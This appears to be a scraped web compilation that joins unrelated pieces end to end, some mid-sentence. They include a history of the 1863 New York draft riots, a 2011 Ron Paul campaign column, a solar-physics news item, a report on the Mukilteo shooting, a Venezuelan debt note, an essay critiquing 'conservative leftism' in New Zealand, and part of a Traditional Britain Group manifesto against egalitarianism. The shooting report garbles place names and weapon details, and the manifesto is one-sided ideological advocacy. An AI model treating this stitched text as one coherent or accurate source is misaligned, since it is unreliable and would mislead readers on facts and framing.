That night, while Robert E. Lee’s army was retreating across the Potomac into Virginia following their march back from Gettysburg, the mob well-nigh controlled New York City. Refugees crowded into police precinct houses or escaped from Manhattan on overloaded ferries.
Several blacks were lynched, with mutilation and burning an optional extra. There were of course—to the credit of the human race, there always are in situations like this—many contrary acts of heroism and humanity, like those of the firefighters at the orphanage.
The state governor, fortunately a Democrat, arrived on Tuesday and made a conciliatory speech on the steps of City Hall. The rioters were looting gun shops now; but the first troops had arrived, and conducted joint actions with the police against the mob.
By this time draft riots had broken out all over the Northeast: Albany, Troy, Yonkers, Hartford, Boston, Newark, Jersey City…It was still possible at this point that New York might be taken by the mob. Such a thing was not inconceivable: It happened to Paris only eight years later.
The lynching, looting, and burning continued on Wednesday morning, July 15th, with a fine rhetorical war now going on between the city’s Democratic newspapers (Benjamin Wood’s Daily News, Manton Marble’s New York World) and their Republican counterparts (Horace Greeley’s New York Tribune, William Cullen Bryant’s Evening Post), all accusing each other of responsibility for the riots.
The troops were asserting themselves, though, with infantry and artillerymen now firing on the mob, killing dozens. Wednesday night and Thursday morning reinforcements arrived in regimental strength, and the worst was over.
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would need a few things: Perry would have to absolutely collapse nationwide, similar to how he has in Hew Hampshire; Paul would have to stay in second in New Hampshire and emerge as the "other" candidate (Huntsman finishing second would really put Paul out of contention); and, with Perry out of the race, Paul would have to win the support of southern conservatives.
If he can do these three things, Ron Paul may be able to postpone retirement for four (or eight?) more years. Assuming, of course, Sarah Palin doesn't jump in the race and muck up all the positioning.
Another thing working in Paul's favor are open primary states. Paul, despite being a libertarian (and characterized as on the far right) actually has a good deal of support among lefty types. Although I disagree with many of his policy stances, I don't think he is purposefully malicious toward poor people or anything like that. He is clearly an honest broker, a thoughtful person, and operates with honor and integrity. He cares deeply about liberty and he is against war. Those are all messages that transcend political lines. He could easily pick up Democratic support in open primary states.
Third, Jon Huntsman? Wow. I've spoken to my Democratic party friends, and he is the most tolerable pick among them for president. This could boost Huntsman's slim chances, particularly as the GOP stops screwing around and starts to focus on which candidate can best beat Obama in 2012, as opposed to which candidate can beat up the other candidates in 2011.
Of course, there is still a long way to go, and many, many debates, commercials, and candidate changes to go before anyone casts a ballot that matters. In fact, there's another debate tonight (9 pm EST) sponsored by Fox News, Google, and the Florida Republican Party.
To comment on this (or any of my columns), visit my user page at Benzinga. Each story has a comment section...and I would love to hear from you!(PhysOrg.com) -- Researchers at the University of Dundee have made a breakthrough in the study of magnetic fields, which enhances our understanding of how stars, including the Sun, work.
The team from the Magnetohydrodynamics research group in the School of Engineering, Physics and Mathematics used state-of-the-art computer simulations of evolving plasmas in the Sun's atmosphere.
By following how the magnetic field and the plasma interact, they have uncovered new rules that govern what evolutions are possible. Knowing the basic rules behind the apparently complex solar atmosphere gives the team hope of predicting how it will behave.
Magnetic fields cannot be directly seen, felt or tasted, but they are a ubiquitous force of nature. The neat pattern of magnetic "field lines" from a bar magnet is well-known from school physics experiments. Indeed, the magnetic field of the Earth itself has a similar pattern on a much larger scale, which is what enables navigation by compass.
But magnetic fields are not always so ordered. Telescopic pictures of the Sun's lower atmosphere taken in extreme-ultraviolet light, outside the visible spectrum, reveal the shape of the magnetic field lines because the plasma particles emitting the light are guided by magnetic forces and move along the magnetic field lines.
These images often reveal braiding and tangling of the field, in a manner that would render a compass useless. The fact that the magnetic field lines are tangled like spaghetti means that the plasma in the Sun's atmosphere is not free to move around however it pleases and that vast quantities of energy can be locked in the magnetic field, because tangled fields have more energy than ordered fields.
Scientists believe that this energy is responsible for heating the Sun’s atmosphere to million-degree temperatures, but how this works in detail is a longstanding puzzle in solar physics. The Dundee team hope their discovery will give us a better idea of just how this energy is released.
'Using these computer simulations, we have studied braided magnetic fields and made a significant advance in understanding how they evolve over time,' said Dr Gunnar Hornig, one of the paper’s authors.
'You can observe magnetic fields on the Sun with satellites and see that these structures are often braided. That is they are not just simple loops, but these loops interlink.
'These structures are not static. They evolve because the Sun is not a rigid body but essentially a plasma ball of gas. It kind of boils, and the motion on the surface changes these magnetic structures. They start to move them around and sometimes the braiding is increased. And if certain critical conditions are met then these structures start to relax to something simpler.
'If you take a twig of a branch and start to twist it, then at some point it starts to break and the individual fibres break up. Something similar happens to these magnetic fields. Where it differs is that the evolutions we have been studying allow the broken fields to combine to form new structures.'
Having investigated how magnetic field braiding works in a specific instance, the team will now switch their attention to examining how they work in more general, complex structures.
'We began by looking at braided magnetic fields in the Sun’s atmosphere,' explained Dr Anthony Yeates, one of the team members. 'We know that these magnetic fields break up and reconnect and we have now discovered new rules governing which evolutions are possible and how this is happening.
'This is fundamental research - part of the theory of astrophysical plasmas. It forms part of our attempts to understand how stars work, which enhances our understanding of how our own Sun evolves, and how it affects the climate and life on Earth.'
Their research has been published in the latest edition of Physical Review Letters, as a paper entitled 'Topological constraints on magnetic relaxation'.
The ongoing research project on quantifying magnetic fluxes started last October, and is funded by the Science and Technology Facilities Council.
Explore further: How space eruptions happenAllen Ivanov AR-15 rifle: How a popular affluent Mulilteo, Chennault Seattle rising star used to winning failed to handle rejection and sought revenge.
In the aftermath of Allen Ivanov’s girlfriend breaking up with him last week, new revelations tell of the Mukilteo mass shooter going out the following day and buying an AR-15 rifle.
The acquisition of the semi automatic weapon comes amid damning evidence showing the 19 year old University of Washington sophomore student sought revenge after being dumped by Anna Bui, his girlfriend of one year.
His moment of revenge came in the early hours of Saturday morning where Ivanov barged into a house party in the exclusive Seattle suburb of Chennault at 12.30 am where he fired off a total of 20 gunshots amongst the 15-20 guests who had gathered.
By the time it was over, Allen Ivanov with his new AR-15 rifle acquisition had left three dead and one person critically injured.
Killed were Anna Bui, Jake Long and Jordan Ebner along with the resident host who remains hospitalized fighting for their life.
According in an exclusive with the dailymail, Ivanov struggled to come to terms with Bui calling their relationship off, having become depressed.
Allen Ivanov: I killed my ex girlfriend cause she kissed another boy
Revenge? Anna Bui, Allen Ivanov ex girlfriend killed at Mukilteo shooting
Why did Allen Ivanov target Chennault Mukilteo house party in shooting?
Why? Mukilteo shooting leaves three killed, suspect arrested
The couple had met in Ivanov’s final year at Kamiak High School, where the student was well lauded both for his smarts, good looks and for his popularity.
But all that, including his family’s financial well standing did little to assuage the moribund 19 year old college sophomore student as he struggled to come to terms with being rejected.
According to a friend who Ivanov confided to he had been depressed after the break up, even going so far as to text him a picture of the new AR-15 rifle he had acquired.
At the time the friend unwittingly thought nothing of the text and dismissed the text, unable to fathom even in his wildest imagination that Allen Ivanov had bought the automatic rifle with the express intent of exacting revenge.
It was after having unleashed last night’s venom that Ivanov then called the friend to tell them what he had done, ‘I just killed my ex-girlfriend’, told the college student.
Told the friend via the dailymail: ‘We didn’t know it was serious or not,’
‘We thought it was a joke, he called us at 2.30am.’
‘We didn’t think he was capable of doing something like that. He was always a prankster and a jokester. He used to love playing Halo, but he never showed any signs of violent behavior.’
But the friend, who said he has known Ivanov for two-and-a-half-years after they met while playing Halo online, said he was hysterical.
‘Throughout the phone conversation he kept asking “What’s the best way to kill myself?”, he was crying, saying “What did I just do?'”
The friend tried to convince Ivanov who had fled the scene in his car to call Seattle police. But it was too late.
‘He was definitely in an altered state of mind,‘ he said. ‘The Allen that I knew was not anymore, that was definitely not Allen that I was talking to.’
It was only after news broke that three had been left dead at a house party in Ivanov’s hometown that the friend learned that his friend was far from joking.
Yet there were warning signs that things weren’t right, including Ivanov posting a picture of the rifle on his Instagram, laying it on the ground with three bullets by the weapon’s side.
On the rifle is a sticker from the exclusive Supreme New York streetwear brand that reads: ‘Supreme 16 You Still Suck’.
There is also a piece of blue painter’s tape on the gun that reads ‘Christopher’, which public records show is Ivanov’s middle name.
The caption of the post reads: ‘You can’t run with me.’
Ivanov also posted cryptic tweets on his Twitter two days before the shooting.
‘First and last tweet,’ he wrote on July 28. ‘I’ve been through it all.’
He then tweeted ‘What’s Ruger gonna think?’, which seems to be a reference to Ruger Firearms.
Several friends became so concerned that they reached out to Ivanov’s parents and asked them to return the gun, but they didn’t believe Allen could ever do something so horrific.
And, the friend, added, neither did anyone else.
‘Allen was very calm, very handsome, ladies loved him,‘ he said of Ivanov, who was supposed to start his sophomore year at the University of Washington this fall.
‘He was a very friendly guy, he was smart.’
According to his linkdn page, Ivanov is a computer science and engineering major.
He is also an engineer and founder of Skirmos, an open source laser tag system that allows users to ‘imagine your favorite first-person video game in real life’.
‘I don’t think his parents knew he was capable of something like this,’ the friend said. ‘We didn’t know he was capable of something like this.’
The friend said he thought Bui had broken up with Ivanov a month or two ago, with Ivanov claiming he had dumped her.
He said Ivanov often had a jealous side and felt like he had ‘something to prove’, but said his longtime friend seemed completely normal when they met up in Washington DC earlier this summer.
The friend said others who knew the couple claim they only split last week.
In the aftermath of the shooting, friends of the pair are wondering if anything could have stopped Ivanov from carrying out his shooting.
Since his arrest, Allen Ivanov was booked into the Snohomish County Jail on Saturday on murder-investigation charges, where he was charged with first degree murder of three individuals.Venezuela blew past another two bond payments this past weekend, adding hundreds of millions of dollars to a growing pile of unpaid bills just days before the first of two can't-miss debt deadlines.
The beleaguered petrostate has now missed $586 million in payments tied to the debt of the government; state oil giant Petroleos de Venezuela, SA; and the utility Electricidad de Caracas, three investment firms focused on developing and frontier markets confirmed.
"I don't see how any person who's involved in Venezuelan debt can be anything except concerned, except for those who have credit default swaps," said Russ Dallen, managing partner at Caracas Capital Markets. Holders of the swaps benefit in the event of a debt default.
As of last Friday, Venezuela had racked up $349 million in unpaid bond interest. This weekend, it failed to make payments totaling $237 million due on another two sovereign bonds.
There is some consensus forming around the idea that Venezuela is squirreling away its pennies to make sure it is able to pay the $841 million in principal, plus interest, due on Friday on a bond issued by PDVSA, the state oil company. The collateral against the bond is Citgo, PDVSA's Houston-based refining and retail subsidiary.by
by Daphne Lawless. For Fightback’s upcoming magazine issue on neoliberalism.
UPDATE 15/3/17: A German-language version of this article by Klaus Mahrer is now available.
If you had told a socialist or a radical of a few decades ago that Marxist socialists would not only be defending the Union Jack-emblazoned New Zealand flag – a remnant of the British Empire, known as the “Butcher’s Apron” because of all the blood spilled on it, the flag of the colonialist, capitalist state – but marching behind it on demonstrations, they would undoubtedly think that you’d gone crazy. As recently as 2005, the “Defend Our Flag” movement was the preserve of conservatives like the Returned Services Association or the fascist National Front.
And yet, on the marches against the Trans-Pacific Partnership Agreement (TPPA) signing on 4th February, Union Jacks were plentiful. On Facebook, socialists and radicals were calling supporters of Kyle Lockwood’s alternative flag, to be voted on in a referendum in March, “traitors”. How did this happen?
There’s a saying in American politics known as “Cleek’s Law”: “today’s conservatism is the opposite of whatever liberals want, updated daily”. This refers to the kneejerk opposition of Republicans to whatever the Obama regime does; to the point that wags suggest that Obama could wipe out all opposition by making a speech in favour of breathing.
In this article, I wish to introduce to the Aotearoa/New Zealand left the concept of conservative leftism. To adapt Cleek’s Law, it could be described as “conservative leftism is the opposite of whatever neoliberals want, updated daily”. Or to put it in more formal language: a reactionary, undialectical opposition to various aspects of neoliberalism. I argue that this is an extremely strong, sometimes dominant, political ideology on the Left in Aotearoa/New Zealand today.
Historically, Marxists have seen themselves as opposing “reformism” within the movements of workers and the oppressed – that is, Marxists believe that the real issue is to do away with capitalism altogether, not just to reform it. But conservative leftism is a series of ideas which may be held by “reformist”, “revolutionary” or other forces in the movement – feminists, tino rangatiratanga fighters, queer activists, or unionsts. It’s a response to both neoliberalism and to decades of defeat in the movement; and I will argue that it’s a backwards-looking, self-defeating response, to which a strong political alternative should be built.
Definitions
I take the concept of “conservative leftism” from the Scottish socialist Sam Charles Hamad. He uses the phrase, in particular, to describe those segments of Left opinion in Britain – up to and including left-leaning Labour Party leader Jeremy Corbyn – who refuse support to the Syrian revolution, and instead support intervention in favour of the dictatorship of Bashar al-Assad, sometimes as a “lesser evil” compared to the Da’esh (ISIS) sectarian terror group. The crucial point is that, whereas a right-wing conservative or a Tony Blair-style neoliberal would be in favour of British or American bombs, the conservative leftists seem to be in favour of Russian or Iranian military intervention (see more on this below). This, Hamad convincingly argues in a recent Facebook post, is a betrayal of socialism’s principles of solidarity with the struggles and uprisings of oppressed people worldwide:
The conservative left co-opt the language of struggle – their self-delusion is based on these ideas that they are almost a chosen people [and that] their struggle is the struggle. This births a socialism of the privileged. And like all privileged classes they do have an international conscience that has replaced the active radical idea of ‘internationalism’, but… they can’t envision a world that exists beyond a non-existent dichotomy of ‘good and evil’. Yet all of this is done in comfort and privilege – necessarily so. (from Facebook)
I also want to explain the words “reactionary” and “undialectical”which I use above. “Reactionary” is used not in the sense of extreme right-wing, but simply the kind of “knee-jerk, whatever they’re for I’m against it” opposition described in Cleek’s Law above. For example, the best argument made to retain the current “Union Jack” New Zealand flag – with all its history of colonial dispossession and oppression – by conservative leftists is that the conservative-neoliberal government of John Key wants a flag change.
Meanwhile, dialectics is a form of logic which Karl Marx developed from the German philosopher G. W. F. Hegel. The essence of dialectics is that “things” (whether ideas, living creatures or physical objects) change and develop because of their internal contradictions, and from interactions with their opposities. To say that something is “undialectical” means that it is one-sided; that it sees the world in “black-and-white”, “good and evil” terms, as Hamad notes above.
Finally, to make it clear what we’re talking about here, I am using the term “neoliberalism” in the following sense: the globally dominant current “articulation” of capitalism, based on globalization, financialisation, and privatisation. Despite rhetoric of shrinking the State, in fact the State plays a crucial role in neoliberalism – not just in the negative sense of privatising its assets and lowering barriers to globalisation and financialisation, but in actively introducing market relationships to every sector of society, smashing the resistance of workers, expropriating and enclosing the “commons” for capitalist profit, and attempting to co-opt the struggles of oppressed groups by allowing their leaders to rise in the neoliberal corporate and state hierarchies.
A history of defeats
The struggle against neoliberalism in Aotearoa/New Zealand has been going on for longer than many of the protestors on the recent TPPA marches have been alive. Generally, in Aotearoa/New Zealand, our side has had few lasting victories, meaning a generation has grown up since 1984 knowing only the neoliberal, globalized, financialised capitalist economy.
In New Zealand, neoliberalism was instituted by a Labour Government elected in 1984. It was able to get away with breathtakingly fast liberalisation of a previously highly protectionist capitalist economy partly because it co-opted many of the social movements which had come out of 1968-1981. The same Labour Government which smashed all foreign-exchange and capital controls and went on a privatisation spree also decriminalised male homosexuality, established the Waitangi Tribunal to address historical Māori grievances, and made many gestures in favour of (liberal) feminist causes.
For those university-educated women, queers and Māori who were lucky to have the skills that the new globalised/financialised economy needed, neoliberal reform was a clear improvement. Others, of course, were not so fortunate; but the result was the effective co-option of many of the mass movements which had arisen under the previous socially conservative but traditionally Keynesian government. Coming at the same time that “identity politics” (feminist, queer, ethnic/indigenous) were gaining a foothold on the global Left, at the expense of traditional forms of Marxism which saw society in terms of strictly economic class struggle, this was an extremely effective way to implement neo-liberalism.
This may go some way to explain the missing generation phenomenon on the New Zealand left. A generation of left-wing activists (socialist, feminist, union, queer, green, Māori sovereignty) came out of the global ferment of the 1968 era, and cut their teeth in the mass protests against the 1981 South African rugby tour. The more recent (“millennial”) generation of activists (the current author included), on the other hand, had their consciousness sparked by the anti-capitalist movement around the “Battle of Seattle” in 1999, and later, 9/11, the war on terror, and the Iraq invasion, and the “Occupy” movements from 2011 onwards.
There is very little in between; very few radical activists who evolved in the 1984-1999 period. On one hand, those who came to consciousness through those years had experience in the various dissident parliamentary parties (the NewLabour Party, the Greens, the Alliance), fighting an increasingly desperate rear-guard action against the inexorable neoliberal reforms instituted by both Labour and conservative governments. (NLP and Alliance leader Jim Anderton could almost be the ideal type of a “conservative leftist”.)
Meanwhile, those socialist groups which survived during the 1980s and the 1990s did so mainly by “bunkering down” – by adopting a routine of reaffirming the political lessons of the 1960s and 1970s, and waiting for “better days”. Those who saw feminism, queer theory or Māori sovereignty with suspicion tended to cling to their traditional ideas, thus sidelining themselves from the new movements; while those (mainly from the Maoist tradition) who had taken such ideas on board were gravitationally pulled towards reformist politics, NGO-style activism, the academy, or other such accomodations with the new neoliberal reality.
The net result is that overwhelmingly, the current activist movement is led (mainly by default) by older activists, whose views of the world were formed before neoliberal globalization; who often have a place on the property ladder and thus a stake in the status quo, and who tend to be uncomfortable with the new social arrangements and points of struggle thrown up by the neoliberal era.
Yesterday’s solutions
Whatever the precise causes, the overall result is that new anti-capitalist ideas and perspectives of how to transcend neo-liberalism, rather than roll it back, have not emerged in Aotearoa/New Zealand activist circles; or, at least, have not been seriously taken up by the movements. To put it in crude terms, the activist Left in the neoliberal era has not attempted to intellectually grapple with the new possibilities thrown up by globalization.
Instead, past a general opposition to continued neoliberal reforms, the activist Left has held by default to a position of trying to “put the toothpaste back in the tube” – that is to return to pre-neoliberal political and social structures. This has sabotaged the movement’s ability to deal with the new social forces created by neoliberal globalisation. Even worse – as I will explain below – it renders the movements incapable of effectively fighting right-wing anti-neoliberal forces – including xenophobia, conspiracy theory, and actual fascism.
Conservative leftism, then, essentially consists in trying to apply yesterday’s solutions to today’s problems. For example, Sam Charles Hamad convincingly argues that the lack of global solidarity for Syria is due to a kind of “inertia” in the anti-war movement. He argues that the British Left have mainly, mechanically applied the slogans and ideas of the movement against the Iraq War (an imperialist intervention from outside against an inconvenient local dictator) to the Syrian civil war (an active uprising against a dictatorship, with imperialists firstly trying to play both sides, but more recently intervening to support the dictatorship).
Crucially, the Iraq war was the last time that many of the British socialist left were relevant in mainstream politics. There is an aspect of “reliving one’s glory days” here – which can occasionally also be seen on the New Zealand left with reference to the “Springbok tour” era.
In contrast, my argument is the left should seek to build on the new social forces and ways of living that neoliberal globalisation has thrown up, to create a post-neoliberal, post-capitalist future. I am arguing, in other words, that Marx’s insight that capitalism creates its own gravediggers is still correct; but that the 21st century revolutionary classes will not look like those of the 1840s or even the 1980s.
Aspects of conservative leftism in Aotearoa/NZ
The following are the aspects of conservative-leftist thought which I find the most worrying on the current Aotearoa/NZ activist scene. The first is nationalism and campism.
I explained the concept of “campism” in a previous article in this way:
the metaphor that the world is divided into several military “camps”, with the largest being the Western camp led by the United States. Therefore, any government which disagrees with American foreign policy – no matter how oppressive to its own people, or however wedded to neoliberal market economics – can be supported. These governments are even called “anti-imperialist” – as if there were only one imperialism, that of the Western bloc.
This is of course part of what Sam Charles Hamad is describing when he talks about British socialists who have come to believe that the strength of the US/UK bloc is the main force for evil in the world. This is giving up the Marxist idea of imperialism as something inherent to capitalist expansion and bad on whichever side it appears, in favour of the “multipolar world” concept where nationalism and imperialist intervention are okay, even supported, when they’re on “the other side”.
Again, this partly stems from a sort of intellectual laziness on the Left during the Iraq War era. Many Leftists found support in that anti-war struggle from those bourgeois thinkers called “International Relations Realists”, who believed the best way to preserve the global capitalist order was to preserve a “balance of power” and consensus between the various big powers. High-powered thinkers like Stephen Walt and John Mearsheimer opposed Bush and Blair’s imperial adventures in the Middle East and support for Israel, not out of solidarity with the people of Iraq, Palestine or Iran, but for fear that this would unbalance the whole global capitalist order. Now, the “Realists” are definitively in favour of the Arab world’s dictatorships – Syria, Egypt, Jordan – and against the uprisings known as the Arab Spring. Nothing is more destabilising than a revolution, after all. And conservative leftists, having fallen out of the habit of creating their own class-based internationalist analysis, are following them.
Conservative-left nationalism was seen clearly in the recent TPPA demonstrations. Flying the current, Union Jack-emblazoned New Zealand flag wasn’t just defiance of John Key’s flag change initiative; the same idea was expressed by other protest banners which depicted John Key as a puppet of Barack Obama or “Uncle Sam”. In other words, the argument made by those protestors was that the problem with the TPPA was US domination of New Zealand, rather than the domination of multinational capitalism over the peoples of the world, their democratic rights and their commons.
This kind of “left-wing nationalism” ignores that the New Zealand state is a deeply racist, colonial enterprise, which even at its most “benevolent” (during the 1935-1984 welfare state era) was based on the alienation of natural resources from Māori and the forcible suppression of class struggle. The “No Pride in Prisons” campaign – which struggles against uniformed cops and prison guards being allowed to march in the LGBT pride parades – gives a very good account of how racist the New Zealand state continues to be, even in the era of the Waitangi Tribunal.
Being a parliamentary regime, of course, the New Zealand state is susceptible to public pressure in a way that an American-based multinational is not. But a defence of democracy (even in its weak capitalist form) and a defence of New Zealand’s natural resources from enclosure and extractivism has to be carried out against the New Zealand state, not just against foreign states or multinationals. Waving the flag of the State which expropriated Māori, forcibly suppresses strikes and joins in imperialist interventions in Afghanistan and elsewhere is a short-cut to popularity which disarms us in the face of right-wing nationalism, like that expressed by the NZ First party or fascists.
In the New Zealand context, with our large emphasis on agriculture, tourism and other rural-based activities, and our strong Green movement, localism/parochialism (only worrying about your own “patch”) has also become common sense on the conservative left. Localism is the obvious reactionary counter-position to globalisation; not only throwing up borders around “Fortress New Zealand” but supporting “local autonomy” whereever it arises. The idea is that small communities are more democratic, or even more “natural”, than big cities or the global civilisation which capitalism continues to (destructively and inefficiently) bring into existence.
Thus, conservative leftists opposed the amalgamation of Auckland’s various feuding local bodies into a single “Super City”, on general principle. But in practice, the Super City has been a net positive. The working-class masses of South and Western Auckland overrode the central and North Shore privileged classes to elect a centre-left Mayor and Council, who – while far from consistently pro-worker – have prioritised public transport and urban amenities, and begun to make tentative moves against the endless, unsustainable suburban sprawl enabled by motorway madness. There is nothing left wing about – for example – fighting for the right of privileged enclaves like Devonport or Howick to reject public transport and affordable housing.
Curiously – given that even most conservative leftists accept the Green case against suburban sprawl – there is also a real anti-urban sentiment. A speaker at a recent MANA Movement AGM actively encouraged Māori to abandon the cities and build eco-villages on their ancestral lands – strangely coincident with the recent interest shown by our conservative Government in “resettling” the Pasifika communities of South Auckland in small South Island towns. Veteran activist John Minto, when I interviewed him for this magazine in 2013, came out in principle against high-density housing (apartments, townhouses) in favour of traditionally-structured suburbs such as Glen Innes.
But as I’ve previous argued in this magazine, high-density housing is much more environmentally sustainable than single-dwelling based suburbs, which are reliant on fossil-fuel burning car transport and encroach on productive farm land. This is an issue which has simply not been taken up to date by the activist Left in Aotearoa/New Zealand, who are happy – for example – to fight for the rights of the far-flung working-class suburbs of South Auckland or outer Wellington, but do not question whether they are even sustainable under conditions of climate change and resource crunch.
Crucially, anti-urbanism is a dead-end because it neglects the new constituency of precarious urban white-collar workers thrown up by neoliberalism. The radical-urban-planning blog Transportblog has gone into a lot of detail about the economic benefits of “agglomeration”, and shown research that young people increasingly do not own cars and appreciate the benefits of high-density living and good quality public transport.
By promoting traditional suburban, provincial and rural life and reacting with suspicion to urbanisation and centralisation, the conservative left simply cuts itself off from this growing, economically important constituency, if they even notice that it exists. It should also be noted that historically, ethnic and sexual minorities have not fared well in small towns or rural areas.
Even worse, nationalism and localism under stress often reveal themselves in xenophobia and racism. Much of the anti-urban (in particular, anti-Auckland) rhetoric common among the activist Green and Left movements boils down to insecurity about immigration. A cry often heard from those trying to call for a halt to immigration (or at least the forcible re-directing of immigrants from New Zealand’s only real global city, Auckland) is that “we don’t want Auckland to become Shanghai”. Anyone who’s actually been to Shanghai might ask: why not?
One example of conservative-leftist attempts to leverage “Yellow Peril” xenophobia was Labour Party Auckland affairs spokesman Phil Twyford trying to blame the Auckland housing bubble on investors who happened to have Chinese names. Of course, this something we’ve seen in neoliberal economies worldwide – a deliberate decision to let house prices inflate to compensate for stagnant wages, enabling a massive consumption boom among the property-owning classes. It wasn’t Chinese investors who, for example, made the US or Irish property markets crash and burn in 2007/08. But several activist Leftists – especially in the MANA Movement – backed Twyford up.
The most disturbing example of conservative-leftist resistance to capitalist globalisation turning into racism has been recent outbursts of anti-Semitism in the movement. Distressingly, John Key’s Jewish ancestry combined with his previous career as a merchant banker has been increasingly raised as an issue in activist Leftist circles. But this ties in with the second major facet of conservative leftism – conspiracy theory, since almost all conspiracy theories began as “International Jew” theories, before the outcome of World War II made explicit anti-semitism unfashionable.
Asher Goldman has defined conspiracy theory as “a theory based in supposition, one that flies in the face of evidence or science, often one that claims its correctness can be shown by the paucity of evidence in favour of it”. To put it another way, conspiracy theory seems like it should be true, since it confirms broad cultural narratives. Closely related to conspiracy theory is “legal woo” – crank theories with no basis in reality such as “Freeman on the Land”, or beliefs that removing the Union Jack from the New Zealand flag will somehow magically abolish Te Tiriti o Waitangi or even the authority of the New Zealand Government altogether.
However, conspiracy theory is a subset of a more fundamental problem on the conservative left – anti-intellectualism, or even outright anti-science. As a reaction to decades of neoliberal or corporate-funded academics justifying more attacks on the poor, some of those who fight capitalism and oppression have begun rejecting the idea of “expert opinion” altogether. Radical Left discussion forums in Aotearoa/New Zealand resound with not only political conspiracy theories, but theories that deny the physical sciences, such as anti-vaccination or anti-flouridation rhetoric. Some even join with the Right in denying climate change.
Recently, when I made some arguments based on Transportblog‘s analysis of Auckland’s need for the City Rail Link, another Marxist dismissively replied that he trusted what “ordinary people” were telling him rather than any putative experts – in this case, that resources should be poured into more buses (to get caught up in traffic?), rather than into the “missing link” in Auckland’s transport infrastructure.
Conspiracy theory and other anti-intellectualism offers a way of understanding the world based on folk wisdom or “common sense”. Sixties radical hippies used to say that “common sense is what tells you the earth is flat.” The Italian revolutionary Antonio Gramsci made a more subtle decision between “common sense” (what workers and the oppressed absorb from ruling-class ideology) and “good sense” (what they learn from the factual conditions of their existence). For radicals to trust “the wisdom of the people” over expert opinion as a default is to fly in the face of this fundamental insight. There is no guarantee that “common sense” or “what the people are saying” under capitalism will be right about anything. The existence of racism among the working class is only the most obvious example of that. It is the job of revolutionaries to challenge the prejudices of “common sense” – using the insights of science – and to build on the insights of “good sense”.
The manifestations of anti-intellectualism on the conservative Left may also include dogmatic versions of Marxism. One strand of opinion involves opposition to “identity politics“, which – under the guise of a Marxist assertion of the class struggle as the motive force of history – instead makes its appeal to an idealised version of the working class which, by excluding gender, sexual and ethnic issues, makes the cisgendered-heterosexual -white male worker with no particular attachment to tikanga Maori the “norm”.
British socialist Richard Seymour has often pointed out that identity struggles are deeply implicated in class struggle, rather than separate from it. For example:
The tendency of capitalism is to multiply the number of lines of antagonism. And if certain identities are goaded into being, or take on a politicised edge, because the system is attacking people then it is clear that ‘identity politics’ is not a distraction, or an optional bonus. The fact is that ‘identities’ have a material basis in the processes of capitalism. And just because they are constructed (from that material basis) doesn’t mean that they are simply voluntary responses to the life situation they arise in, which can be modified or dropped at will. Thus, it is not realistic to tell people – “you have the wrong identity; you should think of yourself as a worker instead”..
The fact remains that – while strikes and other traditional forms of workers’ struggle are at an all-time low – uprisings “from below” are not only continuing, but becoming more intense, under the guise of “identity politics”. In New Zealand, apart from the ongoing Tino Rangatira struggle, we’ve seen a revived feminist movement push back against rape culture and police connivance in it. Meanwhile, “No Pride In Prisons” bring issues of race, sexuality and gender to the fore against the New Zealand capitalist state. Both these struggle put the role of the capitalist state into sharp focus. Meanwhile, conservative leftism ignores actual uprisings and protests which don’t fit into traditional categories.
A left disarmed
In summary, this article has identified three major elements of conservative leftism in Aotearoa/New Zealand, which blend into each other:
Opposition to globalisation which has taken the forms of nationalism, localism and parochialism, leading to xenophobia and even forms of racism; Opposition to the social changes induced by neoliberalism, in the Aotearoa/New Zealand context shading into anti-urbanism, suburbanism, ruralism and otherwise clinging to traditional ways of living and working; Opposition to “expert opinion” as justifying neoliberal globalisation, which manifests itself as anti-intellectualism, rejection of science, conspiracy theory and other dogmatic beliefs.
This is in addition to a “campist” sympathy for non-US/UK forms of imperialism, which could arguably be seen as a displaced form of nationalism. As I have tried to argue, this is an essentially backwards-looking political worldview, which seeks to return to earlier, simpler, more nationally-contained forms of capitalist or traditional society. It has nothing to say to new class forces, new ways of living or new identities which have |
les are worth preserving. There is an alternative for Britain. The fight back begins now!’
Our Premise
Existing strategies have not been successful and must be abandoned. If we aim to see the restoration of traditional conservatism in this country we cannot rely on upon the existing mechanisms, its national politics and its institutions to serve that purpose. The moral belief in egalitarianism as the highest good must be utterly opposed. We must unite in a total opposition to liberalism, Marxism, egalitarianism and the view of man as homo economicus. It is the belief in egalitarianism that has castrated discussion and silenced great minds - it is egalitarianism that has prevented the computation of a much needed Traditionalist perspective during this crisis. What we need is a reason to feel righteous, a reason to feel that we are good moral people, whilst putting forward a radical and futuristic argument for Tradition. Only then will we be able to do so openly, with real conviction, and without fear. For that we need a moral critique of egalitarianism – we must discredit the pursuit of equality. We must be united by a core commitment to Tradition, not to detail. We must unite, not behind policy proposals and political detail, but rather the eternal truths of European and British Tradition: kinship, family, duty, faith, uniqueness, hierarchy, community, sovereignty, authority, nation, identity, liberty, justice, truth, beauty, and excellence. We must be honest and courageous. We must be fundamentally life-affirming, we must learn to love the struggle, we must take risks, and we must live Tradition. We must be consistently and courageously traditionalist and conservative in our behaviour and communications. We must embrace abstract and moral ideas – the morality of an ideal trumps empirical reality. We must reject all euphemism and hypocrisy. Most importantly we must build new moral, economic and cultural support networks that will arm people with the ideas, and courage, to speak and fight freely. We must abandon the defence of lost institutions, of style over substance. The majority of current institutions are no longer conservative in any meaningful sense. Attempts to influence existing institutions - including political parties – have utterly failed, and where conservatives remain they are ineffectual. We must redefine the rules, overturn the tables, and be radical and Traditional. We must create something worth fighting for – something good! Conservatives cannot counter our enemies effectively within these institutions. So called conservatives who operate within the existing system utterly fail to achieve any substantial change – because they constantly compromise, they are hypocrites and they attempt to ‘play the game.’ When an individual does stand up he is quickly cowed by social, economic and sometimes legal pressure. We must create a large local support networks and a professional national vanguard. We must create a new traditional conservative counter establishment– providing local support networks that will allow us to ruthlessly attack egalitarianism, and what it represents, openly and honestly. This must be a loose grassroots movement, supported by a unified professional, intellectual, highly organised national vanguard. We must promote and nurture a traditionalist culture. It is only through the life and values of a community that we can allow the individual to experience what would otherwise be an intellectual abstraction. We need to use what opportunities remain to us to organize and to work together with common aims to preserve and restore traditional conservative values, through institutions such as the Traditional Britain Group and through building others that will nurture and promote the culture of the Right both locally and nationally for generations to come. This support network must be a flexible ‘wide church’ whilst detail or policy differences should be set aside. The support network must be a wide, open, church – consisting of conservatives, traditionalists, radicals, libertarians and others that wish to support us. Consequently local activities and direction must be decided by local members. Whilst its members are welcome to join any group they wish this support network must be non-partisan and non-sectarian. Members are not obliged to cease other activities and are encouraged to continue with their own political activities and groups. We must permit individuals to hold divergent opinions on detail, rise above ego, and lend our backing to a diverse array of individuals within our support network.
The Traditional Britain Group's Political Standpoints
